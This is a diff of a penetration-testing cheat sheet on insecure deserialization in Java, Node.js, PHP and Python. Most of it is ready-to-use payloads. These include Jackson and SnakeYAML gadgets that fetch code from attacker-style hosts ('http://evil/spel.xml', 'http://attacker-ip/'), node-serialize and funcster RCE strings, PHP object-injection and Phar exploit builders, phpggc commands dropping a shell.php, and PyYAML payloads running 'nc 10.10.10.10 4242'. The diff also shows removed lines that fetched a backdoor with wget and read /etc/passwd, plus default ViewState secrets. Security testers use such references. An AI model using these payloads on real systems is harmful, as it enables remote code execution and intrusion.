+* [Jackson](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#jackson-json)
+* [Fastjson](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#fastjson-json)
+* [Genson](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json)
+* [Flexjson](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#flexjson-json)
+* [Jodd](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#jodd-json)
+
+**Jackson**:
+
+Jackson is a popular Java library used for working with JSON (JavaScript Object Notation) data.
+Jackson-databind supports Polymorphic Type Handling (PTH), formerly known as "Polymorphic Deserialization", which is disabled by default.
+
+To determine if the backend is using Jackson, the most common technique is to send an invalid JSON and inspect the error message. Look for references to either of those:
+
+```java
+Validation failed: Unhandled Java exception: com.fasterxml.jackson.databind.exc.MismatchedInputException: Unexpected token (START_OBJECT), expected START_ARRAY: need JSON Array to contain As.WRAPPER_ARRAY type information for class java.lang.Object
+```
+
+* com.fasterxml.jackson.databind
+* org.codehaus.jackson.map
+
+**Exploitation**:
+
+* **CVE-2017-7525**
+
+  ```json
+  {
+    "param": [
+      "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
+      {
+        "transletBytecodes": [
+          "yv66v[JAVA_CLASS_B64_ENCODED]AIAEw=="
+        ],
+        "transletName": "a.b",
+        "outputProperties": {}
+      }
+    ]
+  }
+    ```
+
+* **CVE-2017-17485**
+
+  ```json
+  {
+    "param": [
+      "org.springframework.context.support.FileSystemXmlApplicationContext",
+      "http://evil/spel.xml"
+    ]
+  }
+  ```
+
+* **CVE-2019-12384**
+
+  ```json
+  [
+    "ch.qos.logback.core.db.DriverManagerConnectionSource", 
+    {
+      "url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://localhost:8000/inject.sql'"
+    }
+  ]
+  ```
+
+* **CVE-2020-36180**
+
+  ```json
+  [
+    "org.apache.commons.dbcp2.cpdsadapter.DriverAdapterCPDS",
+    {
+      "url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://evil:3333/exec.sql'"
+    }
+  ]
+  ```
+
+* **CVE-2020-9548**
+
+    ```json
+    [
+      "br.com.anteros.dbcp.AnterosDBCPConfig",
+      {
+        "healthCheckRegistry": "ldap://{{interactsh-url}}"
+      }
+    ]
+    ```
+
+## YAML Deserialization
+
+* [SnakeYAML](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#snakeyaml-yaml)
+* [jYAML](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#jyaml-yaml)
+* [YamlBeans](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#yamlbeans-yaml)
+
+**SnakeYAML**:
+
+SnakeYAML is a popular Java-based library used for parsing and emitting YAML (YAML Ain't Markup Language) data. It provides an easy-to-use API for working with YAML, a human-readable data serialization standard commonly used for configuration files and data exchange.
+
+```yaml
+!!javax.script.ScriptEngineManager [
+  !!java.net.URLClassLoader [[
+    !!java.net.URL ["http://attacker-ip/"]
+  ]]
+]
+```
+
+## ViewState
+
+In Java, ViewState refers to the mechanism used by frameworks like JavaServer Faces (JSF) to maintain the state of UI components between HTTP requests in web applications. There are 2 major implementations:
+
+* Oracle Mojarra (JSF reference implementation)
+* Apache MyFaces
+
+**Tools**:
+
+* [joaomatosf/jexboss](https://github.com/joaomatosf/jexboss) - JexBoss: Jboss (and Java Deserialization Vulnerabilities) verify and EXploitation Tool
+* [Synacktiv-contrib/inyourface](https://github.com/Synacktiv-contrib/inyourface) - InYourFace is a software used to patch unencrypted and unsigned JSF ViewStates.
+
+### Encoding
+
+| Encoding      | Starts with |
+| ------------- | ----------- |
+| base64        | `rO0`       |
+| base64 + gzip | `H4sIAAA`   |
+
+### Storage
+
+The `javax.faces.STATE_SAVING_METHOD` is a configuration parameter in JavaServer Faces (JSF). It specifies how the framework should save the state of a component tree (the structure and data of UI components on a page) between HTTP requests.
+
+The storage method can also be inferred from the viewstate representation in the HTML body.
+
+* **Server side** storage: `value="-XXX:-XXXX"`
+* **Client side** storage: `base64 + gzip + Java Object`
+
+### Encryption
+
+By default MyFaces uses DES as encryption algorithm and HMAC-SHA1 to authenticate the ViewState. It is possible and recommended to configure more recent algorithms like AES and HMAC-SHA256.
+
+| Encryption Algorithm | HMAC        |
+| -------------------- | ----------- |
+| DES ECB (default)    | HMAC-SHA1   |
+
+Supported encryption methods are BlowFish, 3DES, AES and are defined by a context parameter.
+The value of these parameters and their secrets can be found inside these XML clauses.
+
+```xml
+<param-name>org.apache.myfaces.MAC_ALGORITHM</param-name>   
+<param-name>org.apache.myfaces.SECRET</param-name>   
+<param-name>org.apache.myfaces.MAC_SECRET</param-name>
+```
+
+Common secrets from the [documentation](https://cwiki.apache.org/confluence/display/MYFACES2/Secure+Your+Application).
+
+| Name                 | Value                              |
+| -------------------- | ---------------------------------- |
+| AES CBC/PKCS5Padding | `NzY1NDMyMTA3NjU0MzIxMA==`         |
+| DES                  | `NzY1NDMyMTA=<`                    |
+| DESede               | `MDEyMzQ1Njc4OTAxMjM0NTY3ODkwMTIz` |
+| Blowfish             | `NzY1NDMyMTA3NjU0MzIxMA`           |
+| AES CBC              | `MDEyMzQ1Njc4OTAxMjM0NTY3ODkwMTIz` |
+| AES CBC IV           | `NzY1NDMyMTA3NjU0MzIxMA==`         |
+
+* **Encryption**: Data -> encrypt -> hmac_sha1_sign -> b64_encode -> url_encode -> ViewState
+* **Decryption**: ViewState -> url_decode -> b64_decode -> hmac_sha1_unsign -> decrypt -> Data
 
 ## References
 
-- [Github - ysoserial](https://github.com/frohoff/ysoserial)
+* [Detecting deserialization bugs with DNS exfiltration - Philippe Arteau - March 22, 2017](https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/)
-- [Java-Deserialization-Cheat-Sheet - GrrrDog](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet/blob/master/README.md)
+* [Exploiting the Jackson RCE: CVE-2017-7525 - Adam Caudill - October 4, 2017](https://adamcaudill.com/2017/10/04/exploiting-jackson-rce-cve-2017-7525/)
-- [Understanding & practicing java deserialization exploits](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/)
+* [Hack The Box - Arkham - 0xRick - August 10, 2019](https://0xrick.github.io/hack-the-box/arkham/)
-- [How i found a 1500$ worth Deserialization vulnerability - @D0rkerDevil](https://medium.com/@D0rkerDevil/how-i-found-a-1500-worth-deserialization-vulnerability-9ce753416e0a)
+* [How I found a $1500 worth Deserialization vulnerability - Ashish Kunwar - August 28, 2018](https://medium.com/@D0rkerDevil/how-i-found-a-1500-worth-deserialization-vulnerability-9ce753416e0a)
-- [Misconfigured JSF ViewStates can lead to severe RCE vulnerabilities - 14 Aug 2017, Peter Stöckli](https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html)
+* [Jackson CVE-2019-12384: anatomy of a vulnerability class - Andrea Brancaleoni - July 22, 2019](https://blog.doyensec.com/2019/07/22/jackson-gadgets.html)
+* [Jackson gadgets - Anatomy of a vulnerability - Andrea Brancaleoni - 22 Jul 2019](https://blog.doyensec.com/2019/07/22/jackson-gadgets.html)
+* [Jackson Polymorphic Deserialization - FasterXML - July 23, 2020](https://github.com/FasterXML/jackson-docs/wiki/JacksonPolymorphicDeserialization)
+* [Java Deserialization Cheat Sheet - Aleksei Tiurin - May 23, 2023](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet/blob/master/README.md)
+* [Java Deserialization in ViewState - Haboob Team - December 23, 2020](https://www.exploit-db.com/docs/48126)
+* [JSF ViewState upside-down - Renaud Dubourguais, Nicolas Collignon - March 15, 2016](https://www.synacktiv.com/ressources/JSF_ViewState_InYourFace.pdf)
+* [Misconfigured JSF ViewStates can lead to severe RCE vulnerabilities - Peter Stöckli - August 14, 2017](https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html)
+* [On Jackson CVEs: Don’t Panic — Here is what you need to know - cowtowncoder - December 22, 2017](https://cowtowncoder.medium.com/on-jackson-cves-dont-panic-here-is-what-you-need-to-know-54cd0d6e8062)
+* [Pre-auth RCE in ForgeRock OpenAM (CVE-2021-35464) - Michael Stepankin (@artsploit) - June 29, 2021](https://portswigger.net/research/pre-auth-rce-in-forgerock-openam-cve-2021-35464)
+* [Triggering a DNS lookup using Java Deserialization - paranoidsoftware.com - July 5, 2020](https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/)
+* [Understanding & practicing java deserialization exploits - Diablohorn - September 9, 2017](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/)
+* [Friday the 13th JSON Attacks - Alvaro Muñoz & Oleksandr Mirosh - July 28, 2017](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)

Insecure Deserialization/Node.md

@@ -0,0 +1,55 @@
+# Node Deserialization
+
+> Node.js deserialization refers to the process of reconstructing JavaScript objects from a serialized format, such as JSON, BSON, or other formats that represent structured data. In Node.js applications, serialization and deserialization are commonly used for data storage, caching, and inter-process communication.
+
+## Summary
+
+* [Methodology](#methodology)
+    * [node-serialize](#node-serialize)
+    * [funcster](#funcster)
+* [References](#references)
+
+## Methodology
+
+* In Node source code, look for:
+
+    * `node-serialize`
+    * `serialize-to-js`
+    * `funcster`
+
+### node-serialize
+
+> An issue was discovered in the node-serialize package 0.0.4 for Node.js. Untrusted data passed into the `unserialize()` function can be exploited to achieve arbitrary code execution by passing a JavaScript Object with an Immediately Invoked Function Expression (IIFE).
+
+1. Generate a serialized payload
+
+    ```js
+    var y = {
+        rce : function(){
+            require('child_process').exec('ls /', function(error,
+            stdout, stderr) { console.log(stdout) });
+        },
+    }
+    var serialize = require('node-serialize');
+    console.log("Serialized: \n" + serialize.serialize(y));
+    ```
+
+2. Add bracket `()` to force the execution
+
+    ```js
+    {"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('ls /', function(error,stdout, stderr) { console.log(stdout) });}()"}
+    ```
+
+3. Send the payload
+
+### funcster
+
+```js
+{"rce":{"__js_function":"function(){CMD=\"cmd /c calc\";const process = this.constructor.constructor('return this.process')();process.mainModule.require('child_process').exec(CMD,function(error,stdout,stderr){console.log(stdout)});}()"}}
+```
+
+## References
+
+* [CVE-2017-5941 - National Vulnerability Database - February 9, 2017](https://nvd.nist.gov/vuln/detail/CVE-2017-5941)
+* [Exploiting Node.js deserialization bug for Remote Code Execution (CVE-2017-5941) - Ajin Abraham - October 31, 2018](https://www.exploit-db.com/docs/english/41289-exploiting-node.js-deserialization-bug-for-remote-code-execution.pdf)
+* [NodeJS Deserialization - gonczor - January 8, 2020](https://blacksheephacks.pl/nodejs-deserialization/)

Insecure Deserialization/PHP.md

@@ -1,17 +1,27 @@
-# PHP Object injection
+# PHP Deserialization
 
-PHP Object Injection is an application level vulnerability that could allow an attacker to perform different kinds of malicious attacks, such as Code Injection, SQL Injection, Path Traversal and Application Denial of Service, depending on the context. The vulnerability occurs when user-supplied input is not properly sanitized before being passed to the unserialize() PHP function. Since PHP allows object serialization, attackers could pass ad-hoc serialized strings to a vulnerable unserialize() call, resulting in an arbitrary PHP object(s) injection into the application scope.
+> PHP Object Injection is an application level vulnerability that could allow an attacker to perform different kinds of malicious attacks, such as Code Injection, SQL Injection, Path Traversal and Application Denial of Service, depending on the context. The vulnerability occurs when user-supplied input is not properly sanitized before being passed to the unserialize() PHP function. Since PHP allows object serialization, attackers could pass ad-hoc serialized strings to a vulnerable unserialize() call, resulting in an arbitrary PHP object(s) injection into the application scope.
+
+## Summary
+
+* [General Concept](#general-concept)
+* [Authentication Bypass](#authentication-bypass)
+* [Object Injection](#object-injection)
+* [Finding and Using Gadgets](#finding-and-using-gadgets)
+* [Phar Deserialization](#phar-deserialization)
+* [Real World Examples](#real-world-examples)
+* [References](#references)
+
+## General Concept
 
 The following magic methods will help you for a PHP Object injection
 
-* __wakeup() when an object is unserialized.
+* `__wakeup()` when an object is unserialized.
-* __destruct() when an object is deleted.
+* `__destruct()` when an object is deleted.
-* __toString() when an object is converted to a string.
+* `__toString()` when an object is converted to a string.
 
 Also you should check the `Wrapper Phar://` in [File Inclusion](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion#wrapper-phar) which use a PHP object injection.
 
-## __wakeup in the unserialize function
-
 Vulnerable code:
 
 ```php
@@ -38,19 +48,23 @@ Vulnerable code:
 ?>
 ```
 
-Payload:
+Craft a payload using existing code inside the application.
 
-```php
+* Basic serialized data
-# Basic serialized data
-a:2:{i:0;s:4:"XVWA";i:1;s:33:"Xtreme Vulnerable Web Application";}
 
-# Command execution
+    ```php
-string(68) "O:18:"PHPObjectInjection":1:{s:6:"inject";s:17:"system('whoami');";}"
+    a:2:{i:0;s:4:"XVWA";i:1;s:33:"Xtreme Vulnerable Web Application";}
-```
+    ```
 
-## Authentication bypass
+* Command execution
 
-### Type juggling
+    ```php
+    string(68) "O:18:"PHPObjectInjection":1:{s:6:"inject";s:17:"system('whoami');";}"
+    ```
+
+## Authentication Bypass
+
+### Type Juggling
 
 Vulnerable code:
 
@@ -73,13 +87,13 @@ a:2:{s:8:"username";b:1;s:8:"password";b:1;}
 
 Because `true == "str"` is true.
 
-### Object reference
+## Object Injection
 
 Vulnerable code:
 
 ```php
 <?php
-class Object
+class ObjectExample
 {
   var $guess;
   var $secretCode;
@@ -99,54 +113,127 @@ if($obj) {
 Payload:
 
 ```php
-O:6:"Object":2:{s:10:"secretCode";N;s:4:"guess";R:2;}
+O:13:"ObjectExample":2:{s:10:"secretCode";N;s:5:"guess";R:2;}
 ```
 
-## Others exploits
+We can do an array like this:
-
-Reverse Shell
 
 ```php
-class PHPObjectInjection
+a:2:{s:10:"admin_hash";N;s:4:"hmac";R:2;}
-{
-    // CHANGE URL/FILENAME TO MATCH YOUR SETUP
-    public $inject = "system('wget http://URL/backdoor.txt -O phpobjbackdoor.php && php phpobjbackdoor.php');";
-}
-
-echo urlencode(serialize(new PHPObjectInjection));
 ```
 
-Basic detection
+## Finding and Using Gadgets
 
-```php
+Also called `"PHP POP Chains"`, they can be used to gain RCE on the system.
-class PHPObjectInjection
-{
-    // CHANGE URL/FILENAME TO MATCH YOUR SETUP
-    public $inject = "system('cat /etc/passwd');";
-}
 
-echo urlencode(serialize(new PHPObjectInjection));
+* In PHP source code, look for `unserialize()` function.
-//O%3A18%3A%22PHPObjectInjection%22%3A1%3A%7Bs%3A6%3A%22inject%22%3Bs%3A26%3A%22system%28%27cat+%2Fetc%2Fpasswd%27%29%3B%22%3B%7D
+* Interesting [Magic Methods](https://www.php.net/manual/en/language.oop5.magic.php) such as `__construct()`, `__destruct()`, `__call()`, `__callStatic()`, `__get()`, `__set()`, `__isset()`, `__unset()`, `__sleep()`, `__wakeup()`, `__serialize()`, `__unserialize()`, `__toString()`, `__invoke()`, `__set_state()`, `__clone()`, and `__debugInfo()`:
-//'O:18:"PHPObjectInjection":1:{s:6:"inject";s:26:"system(\'cat+/etc/passwd\');";}'
+    * `__construct()`: PHP allows developers to declare constructor methods for classes. Classes which have a constructor method call this method on each newly-created object, so it is suitable for any initialization that the object may need before it is used. [php.net](https://www.php.net/manual/en/language.oop5.decon.php#object.construct)
-```
+    * `__destruct()`: The destructor method will be called as soon as there are no other references to a particular object, or in any order during the shutdown sequence. [php.net](https://www.php.net/manual/en/language.oop5.decon.php#object.destruct)
+    * `__call(string $name, array $arguments)`: The `$name` argument is the name of the method being called. The `$arguments` argument is an enumerated array containing the parameters passed to the `$name`'ed method. [php.net](https://www.php.net/manual/en/language.oop5.overloading.php#object.call)
+    * `__callStatic(string $name, array $arguments)`: The `$name` argument is the name of the method being called. The `$arguments` argument is an enumerated array containing the parameters passed to the `$name`'ed method. [php.net](https://www.php.net/manual/en/language.oop5.overloading.php#object.callstatic)
+    * `__get(string $name)`: `__get()` is utilized for reading data from inaccessible (protected or private) or non-existing properties. [php.net](https://www.php.net/manual/en/language.oop5.overloading.php#object.get)
+    * `__set(string $name, mixed $value)`: `__set()` is run when writing data to inaccessible (protected or private) or non-existing properties. [php.net](https://www.php.net/manual/en/language.oop5.overloading.php#object.set)
+    * `__isset(string $name)`: `__isset()` is triggered by calling `isset()` or `empty()` on inaccessible (protected or private) or non-existing properties. [php.net](https://www.php.net/manual/en/language.oop5.overloading.php#object.isset)
+    * `__unset(string $name)`: `__unset()` is invoked when `unset()` is used on inaccessible (protected or private) or non-existing properties. [php.net](https://www.php.net/manual/en/language.oop5.overloading.php#object.unset)
+    * `__sleep()`: `serialize()` checks if the class has a function with the magic name `__sleep()`. If so, that function is executed prior to any serialization. It can clean up the object and is supposed to return an array with the names of all variables of that object that should be serialized. If the method doesn't return anything then **null** is serialized and **E_NOTICE** is issued.[php.net](https://www.php.net/manual/en/language.oop5.magic.php#object.sleep)
+    * `__wakeup()`: `unserialize()` checks for the presence of a function with the magic name `__wakeup()`. If present, this function can reconstruct any resources that the object may have. The intended use of `__wakeup()` is to reestablish any database connections that may have been lost during serialization and perform other reinitialization tasks. [php.net](https://www.php.net/manual/en/language.oop5.magic.php#object.wakeup)
+    * `__serialize()`: `serialize()` checks if the class has a function with the magic name `__serialize()`. If so, that function is executed prior to any serialization. It must construct and return an associative array of key/value pairs that represent the serialized form of the object. If no array is returned a TypeError will be thrown. [php.net](https://www.php.net/manual/en/language.oop5.magic.php#object.serialize)
+    * `__unserialize(array $data)`: this function will be passed the restored array that was returned from __serialize().  [php.net](https://www.php.net/manual/en/language.oop5.magic.php#object.unserialize)
+    * `__toString()`: The __toString() method allows a class to decide how it will react when it is treated like a string [php.net](https://www.php.net/manual/en/language.oop5.magic.php#object.tostring)
+    * `__invoke()`: The `__invoke()` method is called when a script tries to call an object as a function. [php.net](https://www.php.net/manual/en/language.oop5.magic.php#object.invoke)
+    * `__set_state(array $properties)`: This static method is called for classes exported by `var_export()`. [php.net](https://www.php.net/manual/en/language.oop5.magic.php#object.set-state)
+    * `__clone()`: Once the cloning is complete, if a `__clone()` method is defined, then the newly created object's `__clone()` method will be called, to allow any necessary properties that need to be changed. [php.net](https://www.php.net/manual/en/language.oop5.cloning.php#object.clone)
+    * `__debugInfo()`: This method is called by `var_dump()` when dumping an object to get the properties that should be shown. If the method isn't defined on an object, then all public, protected and private properties will be shown. [php.net](https://www.php.net/manual/en/language.oop5.magic.php#object.debuginfo)
 
-## Finding and using gadgets
+[ambionics/phpggc](https://github.com/ambionics/phpggc) is a tool built to generate the payload based on several frameworks:
 
-[PHPGGC](https://github.com/ambionics/phpggc) is a tool built to generate the payload based on several frameworks:
+* Laravel
-
+* Symfony
-- Laravel
+* SwiftMailer
-- Symfony
+* Monolog
-- SwiftMailer
+* SlimPHP
-- Monolog
+* Doctrine
-- SlimPHP
+* Guzzle
-- Doctrine
-- Guzzle
 
 ```powershell
 phpggc monolog/rce1 'phpinfo();' -s
+phpggc monolog/rce1 assert 'phpinfo()'
+phpggc swiftmailer/fw1 /var/www/html/shell.php /tmp/data
+phpggc Monolog/RCE2 system 'id' -p phar -o /tmp/testinfo.ini
 ```
 
-## Real world examples
+## Phar Deserialization
+
+Using `phar://` wrapper, one can trigger a deserialization on the specified file like in `file_get_contents("phar://./archives/app.phar")`.
+
+A valid PHAR includes four elements:
+
+1. **Stub**: The stub is a chunk of PHP code which is executed when the file is accessed in an executable context. At a minimum, the stub must contain `__HALT_COMPILER();` at its conclusion. Otherwise, there are no restrictions on the contents of a Phar stub.
+2. **Manifest**: Contains metadata about the archive and its contents.
+3. **File Contents**: Contains the actual files in the archive.
+4. **Signature**(optional): For verifying archive integrity.
+
+* Example of a Phar creation in order to exploit a custom `PDFGenerator`.
+
+    ```php
+    <?php
+    class PDFGenerator { }
+
+    //Create a new instance of the Dummy class and modify its property
+    $dummy = new PDFGenerator();
+    $dummy->callback = "passthru";
+    $dummy->fileName = "uname -a > pwned"; //our payload
+
+    // Delete any existing PHAR archive with that name
+    @unlink("poc.phar");
+
+    // Create a new archive
+    $poc = new Phar("poc.phar");
+
+    // Add all write operations to a buffer, without modifying the archive on disk
+    $poc->startBuffering();
+
+    // Set the stub
+    $poc->setStub("<?php echo 'Here is the STUB!'; __HALT_COMPILER();");
+
+    /* Add a new file in the archive with "text" as its content*/
+    $poc["file"] = "text";
+    // Add the dummy object to the metadata. This will be serialized
+    $poc->setMetadata($dummy);
+    // Stop buffering and write changes to disk
+    $poc->stopBuffering();
+    ?>
+    ```
+
+* Example of a Phar creation with a `JPEG` magic byte header since there is no restriction on the content of stub.
+
+    ```php
+    <?php
+    class AnyClass {
+        public $data = null;
+        public function __construct($data) {
+            $this->data = $data;
+        }
+        
+        function __destruct() {
+            system($this->data);
+        }
+    }
+
+    // create new Phar
+    $phar = new Phar('test.phar');
+    $phar->startBuffering();
+    $phar->addFromString('test.txt', 'text');
+    $phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");
+
+    // add object of any class as meta data
+    $object = new AnyClass('whoami');
+    $phar->setMetadata($object);
+    $phar->stopBuffering();
+    ```
+
+## Real World Examples
 
 * [Vanilla Forums ImportController index file_exists Unserialize Remote Code Execution Vulnerability - Steven Seeley](https://hackerone.com/reports/410237)
 * [Vanilla Forums Xenforo password splitHash Unserialize Remote Code Execution Vulnerability - Steven Seeley](https://hackerone.com/reports/410212)
@@ -155,11 +242,20 @@ phpggc monolog/rce1 'phpinfo();' -s
 
 ## References
 
-* [PHP Object Injection - OWASP](https://www.owasp.org/index.php/PHP_Object_Injection)
+* [CTF writeup: PHP object injection in kaspersky CTF - Jaimin Gohel - November 24, 2018](https://medium.com/@jaimin_gohel/ctf-writeup-php-object-injection-in-kaspersky-ctf-28a68805610d)
-* [PHP Object Injection - Thin Ba Shane](http://location-href.com/php-object-injection/)
+* [ECSC 2019 Quals Team France - Jack The Ripper Web - noraj - May 22, 2019](https://web.archive.org/web/20211022161400/https://blog.raw.pm/en/ecsc-2019-quals-write-ups/#164-Jack-The-Ripper-Web)
-* [PHP unserialize](http://php.net/manual/en/function.unserialize.php)
+* [FINDING A POP CHAIN ON A COMMON SYMFONY BUNDLE: PART 1 - Rémi Matasse - September 12, 2023](https://www.synacktiv.com/publications/finding-a-pop-chain-on-a-common-symfony-bundle-part-1)
-* [PHP Generic Gadget - ambionics security](https://www.ambionics.io/blog/php-generic-gadget-chains)
+* [FINDING A POP CHAIN ON A COMMON SYMFONY BUNDLE: PART 2 - Rémi Matasse - October 11, 2023](https://www.synacktiv.com/publications/finding-a-pop-chain-on-a-common-symfony-bundle-part-2)
-* [POC2009 Shocking News in PHP Exploitation](https://www.owasp.org/images/f/f6/POC2009-ShockingNewsInPHPExploitation.pdf)
+* [Finding PHP Serialization Gadget Chain - DG'hAck Unserial killer - xanhacks - August 11, 2022](https://www.xanhacks.xyz/p/php-gadget-chain/#introduction)
-* [PHP Internals Book - Serialization](http://www.phpinternalsbook.com/classes_objects/serialization.html)
+* [How to exploit the PHAR Deserialization Vulnerability - Alexandru Postolache - May 29, 2020](https://pentest-tools.com/blog/exploit-phar-deserialization-vulnerability/)
-* [TSULOTT Web challenge write-up from MeePwn CTF 1st 2017 by Rawsec](https://rawsec.ml/en/MeePwn-2017-write-ups/#tsulott-web)
+* [phar:// deserialization - HackTricks - July 19, 2024](https://book.hacktricks.xyz/pentesting-web/file-inclusion/phar-deserialization)
-* [CTF writeup: PHP object injection in kaspersky CTF](https://medium.com/@jaimin_gohel/ctf-writeup-php-object-injection-in-kaspersky-ctf-28a68805610d)
+* [PHP deserialization attacks and a new gadget chain in Laravel - Mathieu Farrell - February 13, 2024](https://blog.quarkslab.com/php-deserialization-attacks-and-a-new-gadget-chain-in-laravel.html)
+* [PHP Generic Gadget - Charles Fol - July 4, 2017](https://www.ambionics.io/blog/php-generic-gadget-chains)
+* [PHP Internals Book - Serialization - jpauli - June 15, 2013](http://www.phpinternalsbook.com/classes_objects/serialization.html)
+* [PHP Object Injection - Egidio Romano - April 24, 2020](https://www.owasp.org/index.php/PHP_Object_Injection)
+* [PHP Pop Chains - Achieving RCE with POP chain exploits. - Vickie Li - September 3, 2020](https://vkili.github.io/blog/insecure%20deserialization/pop-chains/)
+* [PHP unserialize - php.net - March 29, 2001](http://php.net/manual/en/function.unserialize.php)
+* [POC2009 Shocking News in PHP Exploitation - Stefan Esser - May 23, 2015](https://web.archive.org/web/20150523205411/https://www.owasp.org/images/f/f6/POC2009-ShockingNewsInPHPExploitation.pdf)
+* [Rusty Joomla RCE Unserialize overflow - Alessandro Groppo - October 3, 2019](https://blog.hacktivesecurity.com/index.php/2019/10/03/rusty-joomla-rce/)
+* [TSULOTT Web challenge write-up - MeePwn CTF - Rawsec - July 15, 2017](https://web.archive.org/web/20211022151328/https://blog.raw.pm/en/meepwn-2017-write-ups/#TSULOTT-Web)
+* [Utilizing Code Reuse/ROP in PHP - Stefan Esser - June 15, 2020](http://web.archive.org/web/20200615044621/https://owasp.org/www-pdf-archive/Utilizing-Code-Reuse-Or-Return-Oriented-Programming-In-PHP-Application-Exploits.pdf)

Insecure Deserialization/Python.md

@@ -1,8 +1,32 @@
 # Python Deserialization
 
-## Pickle
+> Python deserialization is the process of reconstructing Python objects from serialized data, commonly done using formats like JSON, pickle, or YAML. The pickle module is a frequently used tool for this in Python, as it can serialize and deserialize complex Python objects, including custom classes.
+
+## Summary
+
+* [Tools](#tools)
+* [Methodology](#methodology)
+    * [Pickle](#pickle)
+    * [PyYAML](#pyyaml)
+* [References](#references)
+
+## Tools
+
+* [j0lt-github/python-deserialization-attack-payload-generator](https://github.com/j0lt-github/python-deserialization-attack-payload-generator) - Serialized payload for deserialization RCE attack on python driven applications where pickle,PyYAML, ruamel.yaml or jsonpickle module is used for deserialization of serialized data.
+
+## Methodology
+
+In Python source code, look for these sinks:
+
+* `cPickle.loads`
+* `pickle.loads`
+* `_pickle.loads`
+* `jsonpickle.decode`
+
+### Pickle
 
 The following code is a simple example of using `cPickle` in order to generate an auth_token which is a serialized User object.
+:warning: `import cPickle` will only work on Python 2
 
 ```python
 import cPickle
@@ -32,7 +56,7 @@ Python 2.7 documentation clearly states Pickle should never be used with untrust
 > The pickle module is not secure against erroneous or maliciously constructed data. Never unpickle data received from an untrusted or unauthenticated source.
 
 ```python
-import cPickle
+import cPickle, os
 from base64 import b64encode, b64decode
 
 class Evil(object):
@@ -44,7 +68,46 @@ evil_token = b64encode(cPickle.dumps(e))
 print("Your Evil Token : {}").format(evil_token)
 ```
 
+### PyYAML
+
+YAML deserialization is the process of converting YAML-formatted data back into objects in programming languages like Python, Ruby, or Java. YAML (YAML Ain't Markup Language) is popular for configuration files and data serialization because it is human-readable and supports complex data structures.
+
+```yaml
+!!python/object/apply:time.sleep [10]
+!!python/object/apply:builtins.range [1, 10, 1]
+!!python/object/apply:os.system ["nc 10.10.10.10 4242"]
+!!python/object/apply:os.popen ["nc 10.10.10.10 4242"]
+!!python/object/new:subprocess [["ls","-ail"]]
+!!python/object/new:subprocess.check_output [["ls","-ail"]]
+```
+
+```yaml
+!!python/object/apply:subprocess.Popen
+- ls
+```
+
+```yaml
+!!python/object/new:str
+state: !!python/tuple
+- 'print(getattr(open("flag\x2etxt"), "read")())'
+- !!python/object/new:Warning
+  state:
+    update: !!python/name:exec
+```
+
+Since PyYaml version 6.0, the default loader for `load` has been switched to SafeLoader mitigating the risks against Remote Code Execution. [PR #420 - Fix](https://github.com/yaml/pyyaml/issues/420)
+
+The vulnerable sinks are now `yaml.unsafe_load` and `yaml.load(input, Loader=yaml.UnsafeLoader)`.
+
+```py
+with open('exploit_unsafeloader.yml') as file:
+        data = yaml.load(file,Loader=yaml.UnsafeLoader)
+```
+
 ## References
 
-* [Exploiting misuse of Python's "pickle" - Mar 20, 2011](https://blog.nelhage.com/2011/03/exploiting-pickle/)
+* [CVE-2019-20477 - 0Day YAML Deserialization Attack on PyYAML version <= 5.1.2 - Manmeet Singh (@_j0lt) - June 21, 2020](https://thej0lt.com/2020/06/21/cve-2019-20477-0day-yaml-deserialization-attack-on-pyyaml-version/)
-* [Python Pickle Injection - Apr 30, 2017](http://xhyumiracle.com/python-pickle-injection/)
+* [Exploiting misuse of Python's "pickle" - Nelson Elhage - March 20, 2011](https://blog.nelhage.com/2011/03/exploiting-pickle/)
+* [Python Yaml Deserialization - HackTricks - July 19, 2024](https://book.hacktricks.xyz/pentesting-web/deserialization/python-yaml-deserialization)
+* [PyYAML Documentation - PyYAML - April 29, 2006](https://pyyaml.org/wiki/PyYAMLDocumentation)
+* [YAML Deserialization Attack in Python - Manmeet Singh & Ashish Kukret - November 13, 2021](https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf)

Insecure Deserialization/README.md

@@ -2,26 +2,57 @@
 
 > Serialization is the process of turning some object into a data format that can be restored later. People often serialize objects in order to save them to storage, or to send as part of communications. Deserialization is the reverse of that process -- taking data structured from some format, and rebuilding it into an object - OWASP
 
-Check the following sub-sections, located in other files :
+## Summary
+
+* [Deserialization Identifier](#deserialization-identifier)
+* [POP Gadgets](#pop-gadgets)
+* [Labs](#labs)
+* [References](#references)
+
+## Deserialization Identifier
+
+Check the following sub-sections, located in other chapters :
 
 * [Java deserialization : ysoserial, ...](Java.md)
 * [PHP (Object injection) : phpggc, ...](PHP.md)
 * [Ruby : universal rce gadget, ...](Ruby.md)
-* [Python : pickle, ...](Python.md)
+* [Python : pickle, PyYAML, ...](Python.md)
+* [.NET : ysoserial.net, ...](DotNET.md)
+
